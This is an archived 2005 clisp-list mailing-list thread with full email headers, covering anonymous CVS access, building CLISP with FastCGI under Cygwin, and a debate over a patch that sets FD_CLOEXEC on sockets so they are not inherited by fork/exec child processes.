1E5PoS-0003tM-Pa for clisp-list@lists.sourceforge.net; Wed, 17 Aug 2005 08:26:48 -0700 Received: by wproxy.gmail.com with SMTP id i21so158490wra for ; Wed, 17 Aug 2005 08:26:38 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=tReGcEoqeZ2cfnFkw+nbKNonpOggQeDWJ335ibGY76drNNi9lmu/ubQJwUNwlCFzEoJiwB8IZY83Cx0ZsxURCMldHCiixPYjH9hl436D+s55akw56kK4ewbt2cekOBEQczsanCR5LCosHgkQ9N4JFe8YlKgLG3dvrRfQMGQb9Kw= Received: by 10.54.22.39 with SMTP id 39mr501562wrv; Wed, 17 Aug 2005 08:26:38 -0700 (PDT) Received: by 10.54.7.35 with HTTP; Wed, 17 Aug 2005 08:26:38 -0700 (PDT) Message-ID: From: steve morin To: clisp-list@lists.sourceforge.net, steve morin In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: OS X Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 17 08:28:11 2005 X-Original-Date: Wed, 17 Aug 2005 11:26:38 -0400 This might be a stupid question but... Trying to log into cvs using password:anonymous cvs -d:pserver:anonymous@cvs.sf.net:/cvsroot/clisp login I keep getting cvs [login aborted]: authorization failed: server cvs.sf.net rejected acces= s Am I doing something wrong? Steve On 8/16/05, Sam Steingold wrote: > > * steve morin [2005-08-16 18:18:44 -0400]: > > > > Is there directions for building clisp on OS X? >=20 > clisp/unix/INSTALL > clisp/unix/PLATFORMS >=20 > in short: > $ ./configure --build build >=20 >=20 > -- > Sam Steingold (http://www.podval.org/~sds) running w2k > > > Only a fool has no doubts. > From sds@gnu.org Wed Aug 17 09:38:50 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E5QwE-0001o7-0I for clisp-list@lists.sourceforge.net; Wed, 17 Aug 2005 09:38:50 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E5QwC-00035P-G3 for clisp-list@lists.sourceforge.net; Wed, 17 Aug 2005 09:38:50 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7HGcSqn026589; Wed, 17 Aug 2005 12:38:28 -0400 (EDT) To: clisp-list@lists.sourceforge.net, steve morin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (steve morin's message of "Wed, 17 Aug 2005 11:26:38 -0400") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, steve morin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: OS X Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 17 09:40:12 2005 X-Original-Date: Wed, 17 Aug 2005 12:37:41 -0400 > * steve morin [2005-08-17 11:26:38 -0400]: > > This might be a stupid question but... > Trying to log into cvs using password:anonymous "When prompted for a password for anonymous, simply press the Enter key." -- Sam Steingold (http://www.podval.org/~sds) running w2k usually: can't pay ==> don't buy. software: can't buy ==> don't pay From shutej@google.com Wed Aug 17 10:05:09 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E5RLg-0003N6-TA for clisp-list@lists.sourceforge.net; Wed, 17 Aug 2005 10:05:08 -0700 Received: from 216-239-45-4.google.com ([216.239.45.4]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E5RLf-0008Of-Nw for clisp-list@lists.sourceforge.net; Wed, 17 Aug 2005 10:05:08 -0700 Received: from mirapoint8.corp.google.com (mirapoint8.corp.google.com [172.24.0.44]) by chris.corp.google.com with ESMTP id j7HH4ePV024339 (version=TLSv1/SSLv3 cipher=DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 17 Aug 2005 10:04:45 -0700 Received: from [172.29.36.243] (shutej.nyc.corp.google.com [172.29.36.243]) by mirapoint8.corp.google.com (MOS 3.5.9-GR) with ESMTP id ACQ02442 (AUTH shutej); Wed, 17 Aug 2005 10:04:39 -0700 (PDT) Message-ID: <43036E22.90006@google.com> From: Jeremy Shute User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050519 Red Hat/1.7.8-0.90.1gg1 X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <42FBBB68.3060106@google.com> <42FD0C32.6080106@google.com> <42FF3CA6.3000601@google.com> <4300A079.9000809@google.com> <4300C9D8.2040108@google.com> <4300DE43.9070802@google.com> <4302132E.2030009@google.com> <43022B49.3020800@google.com> <43023415.3040502@google.com> <43024ADE.4040602@google.com> <43033F20.3040500@google.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: -4.3 (----) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -4.3 RCVD_IN_BSP_TRUSTED RBL: Sender is in Bonded Sender Program (trusted relay) [IronPort Bonded Sender - ] -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp 2.34 and CVS head do not build correctly on MinGW (either) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 17 10:06:41 2005 X-Original-Date: Wed, 17 Aug 2005 13:04:34 -0400 >>This was with the most recent release of MinGW and MSYS (4.1.1 and >>1.0.10, respectively). >> >>What SHOULD I be doing, if not this? >> >> > >discard MinGW and MSYS. use cygwin and mingw that comes with cygwin. >I could never get MSYS/MinGW to work for me >- if you can, please send patches. > >under cygwin bash, do >(make sure "gcc -mno-cygwin" can find fastcgi headers and libraries) >$ ./configure --with-mingw --with-module=fastcgi --build build-w32 > > > OK, after performing some surgery I have successfully built CLISP with FastCGI support under Cygwin in MinGW mode. This is what had to be done: _ In fastcgi_wrapper.c, I had to ``#include '' near ``#include '' in order to get the environ macros. This is probably MinGW specific but it wouldn't hurt to have an extra include for normal WIN32 builds. _ I had to download the FastCGI MinGW Devpack and copy the ``include'' files to ``/usr/local/include'', the ``lib'' files to ``/usr/local/lib'', and the ``fcgi.dll'' to ``C:\WINDOWS\System32''. _ I configured libsigsegv by ``CC="gcc -mno-cygwin" ./configure'' and installed it. _ I then built using the instructions above. I am highly content with this solution. I made the distribution, stuck in fcgi.dll, and checked that *features* included :FASTCGI. Looks good to me. I'm now off to try to string together some combination of Apache, NTEmacs, and SLIME. :-) Jeremy From kai.kaminski@gmail.com Thu Aug 18 11:44:54 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E5pNi-0001uU-Ni for clisp-list@lists.sourceforge.net; Thu, 18 Aug 2005 11:44:50 -0700 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E5pNe-0003wQ-VR for clisp-list@lists.sourceforge.net; Thu, 18 Aug 2005 11:44:50 -0700 Received: from wproxy.gmail.com ([64.233.184.202]) by externalmx-1.sourceforge.net with esmtp (Exim 4.41) id 1E5XRA-0002r9-L3 for clisp-list@lists.sourceforge.net; Wed, 17 Aug 2005 16:35:13 -0700 Received: by wproxy.gmail.com with SMTP id i21so237037wra for ; Wed, 17 Aug 2005 16:35:06 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:user-agent:x-accept-language:mime-version:to:subject:references:in-reply-to:content-type:content-transfer-encoding; b=mpb5lv89olkPHnn53ZO3XMBGBkOOVEohMY28GG3xSgwlbexEU110EAV7foZkJz6swr9tLY6/pj1dVDJp7lLQ7y51yLTrsk5UP8fyhDxSYLb8AZgCaBDL3PwAV+6dDqRXZ23dE6KoFO/i+kedtkuDyOWy+hnMpb9HMU6eyAu9HaI= Received: by 10.54.10.64 with SMTP id 64mr616181wrj; Wed, 17 Aug 2005 11:15:56 -0700 (PDT) Received: from ?192.168.2.101? ([84.159.102.213]) by mx.gmail.com with ESMTP id d7sm819181wra.2005.08.17.11.15.55; Wed, 17 Aug 2005 11:15:56 -0700 (PDT) Message-ID: <43037EF9.3050207@gmail.com> From: Kai Kaminski User-Agent: Mozilla Thunderbird 1.0.2 (Macintosh/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <42F8C3B9.2070401@gmail.com> <4300C193.8010103@gmail.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] Re: Araneida: make-pipe-io-stream in handle-request-response Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 18 11:49:09 2005 X-Original-Date: Wed, 17 Aug 2005 20:16:25 +0200 Hi Sam, >it might be that the underlying libc sockets behave differently >depending on the number of sockets that the program has opened. >also, make-pipe-io-stream does the usual fork/exec trick which (CMIIAM) >results in the "same" socket being "available" to both processes, thus >they might be treated differently wrt flush &c. >the above is just my WAGs, please CMIIAM. > > This seems to be the problem. See my example below. > > >>(defun forcibly-close-stream (s) >> (socket:socket-status s) >> >> > >why not just LISTEN? > > I don't know. It's code from Araneida and I didn't write it. Anyway, here is the smallest example I could come up with: (defparameter *io-streams* nil) (defparameter *server* nil) (defun foo () (setq *server* (socket:socket-server 22224)) (socket:socket-wait *server*) (let ((connection (socket:socket-accept *server*))) (print connection) (setq *io-streams* (multiple-value-list (ext:make-pipe-io-stream "cat"))) (close connection))) (defun bar () (mapcar #'close *io-streams*) (socket:socket-server-close *server*)) Load this file, then do: nc localhost 22224 or telnet localhost 22224. You will see that FOO returns and presumably calls CLOSE on CONNECTION. But the connection isn't closed and telnet and nc don't quit. Netstat confirms that the connection isn't closed. As soon as you call BAR, the connection is closed. Using lsof I found that cat, the program I launched, has both the server socket and the connection socket open. So what can I do? In my original program I found through experiments that calling SOCKET-STREAM-SHUTDOWN helps, but if I try this with the example code above I end up in the debugger with: UNIX error 9 (EBADF): Bad file number [Condition of type SYSTEM::SIMPLE-OS-ERROR] Thanks, Kai From sds@gnu.org Thu Aug 18 13:57:40 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E5rSG-0005DX-31 for clisp-list@lists.sourceforge.net; Thu, 18 Aug 2005 13:57:40 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E5rSE-0004zp-Pk for clisp-list@lists.sourceforge.net; Thu, 18 Aug 2005 13:57:40 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7IKvQ2f029486; Thu, 18 Aug 2005 16:57:26 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Kai Kaminski Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <43037EF9.3050207@gmail.com> (Kai Kaminski's message of "Wed, 17 Aug 2005 20:16:25 +0200") References: <42F8C3B9.2070401@gmail.com> <4300C193.8010103@gmail.com> <43037EF9.3050207@gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Kai Kaminski Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Araneida: make-pipe-io-stream in handle-request-response Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 18 14:00:27 2005 X-Original-Date: Thu, 18 Aug 2005 16:56:40 -0400 Hi Kai, > * Kai Kaminski [2005-08-17 20:16:25 +0200]: > >>it might be that the underlying libc sockets behave differently >>depending on the number of sockets that the program has opened. >>also, make-pipe-io-stream does the usual fork/exec trick which (CMIIAM) >>results in the "same" socket being "available" to both processes, thus >>they might be treated differently wrt flush &c. >>the above is just my WAGs, please CMIIAM. > > This seems to be the problem. See my example below. The child process shall have its own copy of the parent's file descriptors. Each of the child's file descriptors shall refer to the same open file description with the corresponding file descriptor of the parent. this means that we must set FD_CLOEXEC for all sockets we create. please try the appended patch. -- Sam Steingold (http://www.podval.org/~sds) running w2k He who laughs last thinks slowest. --- socket.d 21 Jun 2005 09:40:22 -0400 1.97 +++ socket.d 18 Aug 2005 16:55:55 -0400 @@ -858,6 +858,10 @@ /* Get a socket. */ if ((fd = socket((int) addr->sa_family, SOCK_STREAM, 0)) == INVALID_SOCKET) return INVALID_SOCKET; + #ifndef WIN32 + /* Set close-on-exec so that we won't get confused if we fork(). */ + fcntl(fd,F_SETFD,FD_CLOEXEC); + #endif /* Set an option for the next bind() call: Avoid an EADDRINUSE error in case there are TIME_WAIT or CLOSE_WAIT sockets hanging around on the port. (Sockets in LISTEN or ESTABLISHED state on the same port @@ -939,6 +943,10 @@ var SOCKET fd; if ((fd = socket((int) addr->sa_family, SOCK_STREAM, 0)) == INVALID_SOCKET) return INVALID_SOCKET; + #ifndef WIN32 + /* Set close-on-exec so that we won't get confused if we fork(). */ + fcntl(fd,F_SETFD,FD_CLOEXEC); + #endif #if defined(FIONBIO) && (defined(HAVE_SELECT) || defined(WIN32_NATIVE)) if (timeout) { var unsigned long non_blocking_io = 1; From tsabin@optonline.net Thu Aug 18 15:14:31 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E5seV-0001lM-EL for clisp-list@lists.sourceforge.net; Thu, 18 Aug 2005 15:14:23 -0700 Received: from mta3.srv.hcvlny.cv.net ([167.206.4.198]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E5seI-0004uj-My for clisp-list@lists.sourceforge.net; Thu, 18 Aug 2005 15:14:23 -0700 Received: from jetcar.qnz.org (ool-4351308c.dyn.optonline.net [67.81.48.140]) by mta3.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-2.06 (built May 11 2005)) with ESMTP id <0ILF00J51V346DP3@mta3.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Thu, 18 Aug 2005 18:13:52 -0400 (EDT) Received: (from tas@localhost) by jetcar.qnz.org (8.11.6/8.9.3) id j7IMDmZ31935; Thu, 18 Aug 2005 18:13:48 -0400 From: Todd Sabin Subject: Re: [clisp-list] Re: Araneida: make-pipe-io-stream in handle-request-response In-reply-to: To: clisp-list@lists.sourceforge.net Cc: Kai Kaminski Message-id: MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Lines: 47 References: <42F8C3B9.2070401@gmail.com> <4300C193.8010103@gmail.com> <43037EF9.3050207@gmail.com> X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 18 15:16:53 2005 X-Original-Date: Thu, 18 Aug 2005 18:13:48 -0400 Sam Steingold writes: > Hi Kai, > >> * Kai Kaminski [2005-08-17 20:16:25 +0200]: >> >>>it might be that the underlying libc sockets behave differently >>>depending on the number of sockets that the program has opened. >>>also, make-pipe-io-stream does the usual fork/exec trick which (CMIIAM) >>>results in the "same" socket being "available" to both processes, thus >>>they might be treated differently wrt flush &c. >>>the above is just my WAGs, please CMIIAM. >> >> This seems to be the problem. See my example below. > > > The child process shall have its own copy of the parent's file > descriptors. Each of the child's file descriptors shall refer to > the same open file description with the corresponding file > descriptor of the parent. > > this means that we must set FD_CLOEXEC for all sockets we create. > please try the appended patch. I'm not sure I have all the context, but this seems like the wrong fix. This sounds like it has nothing to do with sockets in particular, but applies to any file handle. E.g., there's already a such a band-aid in place in connect_to_x_server. If you add this band-aid now, someone will complain about some other kind of handles in the future. IMHO, the right way to fix this is for clisp to close all file descriptors, except for those it wants to pass on to the child process, in between the point where it calls fork() and exec(). See, e.g., the g_spawn* functions in GTK, which does that unless you pass an option stating to leave the descriptors open. Most daemons that fork/exec children also do something similar, to ensure they don't leak file descriptors into different security domains. (You can see that by stracing a daemon.) As a temporary workaround, it sounds like the OP could create his long-lived pipe-io-stream before starting to listen for connections, preventing the socket handle(s) from being inherited. -- Todd Sabin From sds@gnu.org Thu Aug 18 15:28:49 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E5ssS-0002Zd-A4 for clisp-list@lists.sourceforge.net; Thu, 18 Aug 2005 15:28:48 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E5sry-0001RS-0X for clisp-list@lists.sourceforge.net; Thu, 18 Aug 2005 15:28:48 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j7IMS9jl007146; Thu, 18 Aug 2005 18:28:09 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Todd Sabin Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Todd Sabin's message of "Thu, 18 Aug 2005 18:13:48 -0400") References: <42F8C3B9.2070401@gmail.com> <4300C193.8010103@gmail.com> <43037EF9.3050207@gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Todd Sabin Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Araneida: make-pipe-io-stream in handle-request-response Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 18 15:32:08 2005 X-Original-Date: Thu, 18 Aug 2005 18:27:22 -0400 Hi Todd, I glad you finally chimed in! > * Todd Sabin [2005-08-18 18:13:48 -0400]: > >> >> The child process shall have its own copy of the parent's file >> descriptors. Each of the child's file descriptors shall refer to >> the same open file description with the corresponding file >> descriptor of the parent. >> >> this means that we must set FD_CLOEXEC for all sockets we create. >> please try the appended patch. > > I'm not sure I have all the context, but this seems like the wrong > fix. This sounds like it has nothing to do with sockets in > particular, but applies to any file handle. E.g., there's already a > such a band-aid in place in connect_to_x_server. If you add this > band-aid now, someone will complain about some other kind of handles > in the future. so why not do that for all the handles CLISP creates? > IMHO, the right way to fix this is for clisp to close all file > descriptors, except for those it wants to pass on to the child > process, in between the point where it calls fork() and exec(). this means that CLISP must keep track of all the handles it creates, including the raw sockets in modules &c. how is this better than setting FD_CLOEXEC for all sockets and file streams? (is it possible to make FD_CLOEXEC the default for all new FDs?) -- Sam Steingold (http://www.podval.org/~sds) running w2k The world will end in 5 minutes. Please log out. From kai.kaminski@gmx.de Thu Aug 18 15:39:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E5t2s-0003BN-PL for clisp-list@lists.sourceforge.net; Thu, 18 Aug 2005 15:39:34 -0700 Received: from mail.gmx.net ([213.165.64.20]) by mail.sourceforge.net with smtp (Exim 4.44) id 1E5t2R-00022K-Q9 for clisp-list@lists.sourceforge.net; Thu, 18 Aug 2005 15:39:34 -0700 Received: (qmail invoked by alias); 18 Aug 2005 22:38:59 -0000 Received: from p549F71B4.dip.t-dialin.net (EHLO Pupone.local) [84.159.113.180] by mail.gmx.net (mp006) with SMTP; 19 Aug 2005 00:38:59 +0200 X-Authenticated: #7158753 To: Todd Sabin Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: Araneida: make-pipe-io-stream in handle-request-response References: <42F8C3B9.2070401@gmail.com> <4300C193.8010103@gmail.com> <43037EF9.3050207@gmail.com> From: Kai Kaminski In-Reply-To: (Todd Sabin's message of "Thu, 18 Aug 2005 18:13:48 -0400") Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/21.3.50 (darwin) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Y-GMX-Trusted: 0 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 18 15:42:27 2005 X-Original-Date: Fri, 19 Aug 2005 00:39:29 +0200 Todd Sabin writes: > As a temporary workaround, it sounds like the OP could create his > long-lived pipe-io-stream before starting to listen for connections, > preventing the socket handle(s) from being inherited. That is what I do now, but it is suboptimal. Depending on the data I receive over the socket I would like to create more long-lived pipe-io-streams. Kai From tsabin@optonline.net Thu Aug 18 17:27:04 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E5uis-0001fQ-DB for clisp-list@lists.sourceforge.net; Thu, 18 Aug 2005 17:27:02 -0700 Received: from mta9.srv.hcvlny.cv.net ([167.206.4.204]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E5uiR-0002wr-5W for clisp-list@lists.sourceforge.net; Thu, 18 Aug 2005 17:27:02 -0700 Received: from jetcar.qnz.org (ool-4351308c.dyn.optonline.net [67.81.48.140]) by mta9.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-2.06 (built May 11 2005)) with ESMTP id <0ILG00GVO184YBF1@mta9.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Thu, 18 Aug 2005 20:26:28 -0400 (EDT) Received: (from tas@localhost) by jetcar.qnz.org (8.11.6/8.9.3) id j7J0QR732428; Thu, 18 Aug 2005 20:26:27 -0400 From: Todd Sabin In-reply-to: To: clisp-list@lists.sourceforge.net Message-id: MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Lines: 48 References: <42F8C3B9.2070401@gmail.com> <4300C193.8010103@gmail.com> <43037EF9.3050207@gmail.com> X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] Re: Araneida: make-pipe-io-stream in handle-request-response Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Aug 18 17:34:31 2005 X-Original-Date: Thu, 18 Aug 2005 20:26:27 -0400 Sam Steingold writes: >> * Todd Sabin [2005-08-18 18:13:48 -0400]: >> >>> >>> The child process shall have its own copy of the parent's file >>> descriptors. Each of the child's file descriptors shall refer to >>> the same open file description with the corresponding file >>> descriptor of the parent. >>> >>> this means that we must set FD_CLOEXEC for all sockets we create. >>> please try the appended patch. >> >> I'm not sure I have all the context, but this seems like the wrong >> fix. This sounds like it has nothing to do with sockets in >> particular, but applies to any 